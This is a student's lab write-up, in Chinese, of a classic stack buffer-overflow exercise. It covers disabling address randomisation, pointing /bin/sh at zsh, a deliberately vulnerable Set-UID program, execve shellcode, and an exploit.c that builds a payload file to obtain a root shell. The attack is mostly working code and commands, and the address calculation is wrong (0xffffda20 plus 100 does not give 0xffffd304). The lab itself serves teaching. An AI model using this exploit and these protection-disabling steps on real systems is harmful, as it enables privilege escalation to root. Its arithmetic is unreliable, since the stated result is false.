1. 程式人生 > >第十周作業

第十周作業

random 截圖 launch pri main nts 寫入 ubuntu alt

緩沖區溢出漏洞實驗

實驗聲明

本試驗是按照實驗樓的實驗指導書完成的,完成過程中除了內存地址發生變化外,部分的文件名字也有所改變,所有實驗截圖均與本身實驗指導書不同。

一、實驗簡介

緩沖區溢出是指程序試圖向緩沖區寫入超出預分配固定長度數據的情況。這一漏洞可以被惡意用戶利用來改變程序的流控制,甚至執行代碼的任意片段。這一漏洞的出現是由於數據緩沖器和返回地址的暫時關閉,溢出會引起返回地址被重寫。

二、實驗準備

系統用戶名shiyanlou

實驗樓提供的是64位Ubuntu linux,而本次實驗為了方便觀察匯編語句,我們需要在32位環境下作操作,因此實驗之前需要做一些準備。

1、輸入命令安裝一些用於編譯32位C程序的東西:

sudo apt-get update

sudo apt-get install lib32z1 libc6-dev-i386

sudo apt-get install lib32readline-gplv2-dev

技術分享圖片
技術分享圖片
技術分享圖片

技術分享圖片

三、實驗步驟

3.1 初始設置

Ubuntu和其他一些Linux系統中,使用地址空間隨機化來隨機堆(heap)和棧(stack)的初始地址,這使得猜測準確的內存地址變得十分困難,而猜測內存地址是緩沖區溢出攻擊的關鍵。因此本次實驗中,我們使用以下命令關閉這一功能:

sudo sysctl -w kernel.randomize_va_space=0

技術分享圖片

此外,為了進一步防範緩沖區溢出攻擊及其它利用shell程序的攻擊,許多shell程序在被調用時自動放棄它們的特權。因此,即使你能欺騙一個Set-UID程序調用一個shell,也不能在這個shell中保持root權限,這個防護措施在/bin/bash中實現。

linux系統中,/bin/sh實際是指向/bin/bash或/bin/dash的一個符號鏈接。為了重現這一防護措施被實現之前的情形,我們使用另一個shell程序(zsh)代替/bin/bash。下面的指令描述了如何設置zsh程序:

sudo su

cd /bin

rm sh

ln -s zsh sh

exit

技術分享圖片

3.2 shellcode

一般情況下,緩沖區溢出會造成程序崩潰,在程序中,溢出的數據覆蓋了返回地址。而如果覆蓋返回地址的數據是另一個地址,那麽程序就會跳轉到該地址,如果該地址存放的是一段精心設計的代碼用於實現其他功能,這段代碼就是shellcode。

觀察以下代碼:

#include <stdio.h>
int main( ) {
char *name[2];
name[0] = ‘‘/bin/sh’’;
name[1] = NULL;
execve(name[0], name, NULL);
}

本次實驗的shellcode,就是剛才代碼的匯編版本:

\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

3.3 漏洞程序

把以下代碼保存為“stack.c”文件,保存到 當前 目錄下。代碼如下:

/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
char buffer[12];

/* The following statement has a buffer overflow problem */
strcpy(buffer, str);

return 1;
}

int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}

通過代碼可以知道,程序會讀取一個名為“badfile”的文件,並將文件內容裝入“buffer”。

編譯該程序,並設置SET-UID。命令如下:

sudo su

gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c

chmod u+s stack

exit

技術分享圖片

GCC編譯器有一種棧保護機制來阻止緩沖區溢出,所以我們在編譯代碼時需要用 –fno-stack-protector 關閉這種機制。

而 -z execstack 用於允許執行棧。

3.4 攻擊程序

我們的目的是攻擊剛才的漏洞程序,並通過攻擊獲得root權限。

把以下代碼保存為“exploit.c”文件,保存到 當前 目錄下。代碼如下:

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[]=

"\x31\xc0"    //xorl %eax,%eax
"\x50"        //pushl %eax
"\x68""//sh"  //pushl $0x68732f2f
"\x68""/bin"  //pushl $0x6e69622f
"\x89\xe3"    //movl %esp,%ebx
"\x50"        //pushl %eax
"\x53"        //pushl %ebx
"\x89\xe1"    //movl %esp,%ecx
"\x99"        //cdq
"\xb0\x0b"    //movb $0x0b,%al
"\xcd\x80"    //int $0x80
;

void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;

/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);

/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");
strcpy(buffer+100,shellcode);

/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}

技術分享圖片
技術分享圖片

註意上面的代碼,“\x??\x??\x??\x??”處需要添上shellcode保存在內存中的地址,因為發生溢出後這個位置剛好可以覆蓋返回地址。

而 strcpy(buffer+100,shellcode); 這一句又告訴我們,shellcode保存在 buffer+100 的位置。

現在我們要得到shellcode在內存中的地址,輸入命令:

gdb stack

disass main

結果如圖:
技術分享圖片
技術分享圖片

接下來的操作:

技術分享圖片

根據語句 strcpy(buffer+100,shellcode); 我們計算shellcode的地址為 0xffffda20(十六進制)+100(十進制)=0xffffd304(十六進制)

現在修改exploit.c文件!將 \x??\x??\x??\x?? 修改為 \x04\xd3\xff\xff

然後,編譯exploit.c程序:

gcc -m32 -o exploit exploit.c

3.5 攻擊結果

先運行攻擊程序exploit,再運行漏洞程序stack,觀察結果:

技術分享圖片

可見,通過攻擊,獲得了root權限!

如果不能攻擊成功,提示”段錯誤“,那麽請重新使用gdb反匯編,計算內存地址。

第十周作業